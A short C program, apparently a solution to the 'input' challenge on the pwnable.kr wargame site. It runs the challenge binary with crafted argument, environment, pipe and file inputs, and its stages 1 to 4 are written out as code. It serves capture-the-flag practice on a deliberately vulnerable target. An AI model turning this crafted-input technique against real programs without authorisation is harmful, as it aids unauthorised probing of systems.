Pwnable.kr input exploit code

#include <stdio.h>                                                         
#include <stdlib.h>                                                        

int main(){                                                                
        //stage1 attack!
        
        char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};	//argv[0],argv[1],....,argv[100]
        argv['A'] = "\x00";                                             
        argv['B'] = "\x20\x0a\x0d";                                        
        argv['C'] = "33333";
        
        // stage3 attack!                                                   
        char* envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"};
        
        // stage4                                                          
        FILE* fp = fopen("\x0a", "wb");                                    
        fwrite("\x00\x00\x00\x00", 4, 1 ,fp);                              
        fclose(fp);
        
        // stage2                                                          
        int pipe1[2], pipe2[2];                                            
        if(pipe(pipe1) < 0 || pipe(pipe2) < 0) {                           
                printf("pipe error!\n");                                   
                exit(-1);                                                  
        }                                                                  
        if(fork() == 0) {                                                  
                dup2(pipe1[0], 0);                                         
                close(pipe1[1]);                                    
                
                dup2(pipe2[0], 2);                                         
                close(pipe2[1]);                                           
                execve("/home/input/input", argv, envp);                   
        }else{                                                             
                write(pipe1[1], "\x00\x0a\x00\xff", 4);                    
                write(pipe2[1], "\x00\x0a\x02\xff", 4);                    
                sleep(30);                                                 
        }                                                                  
}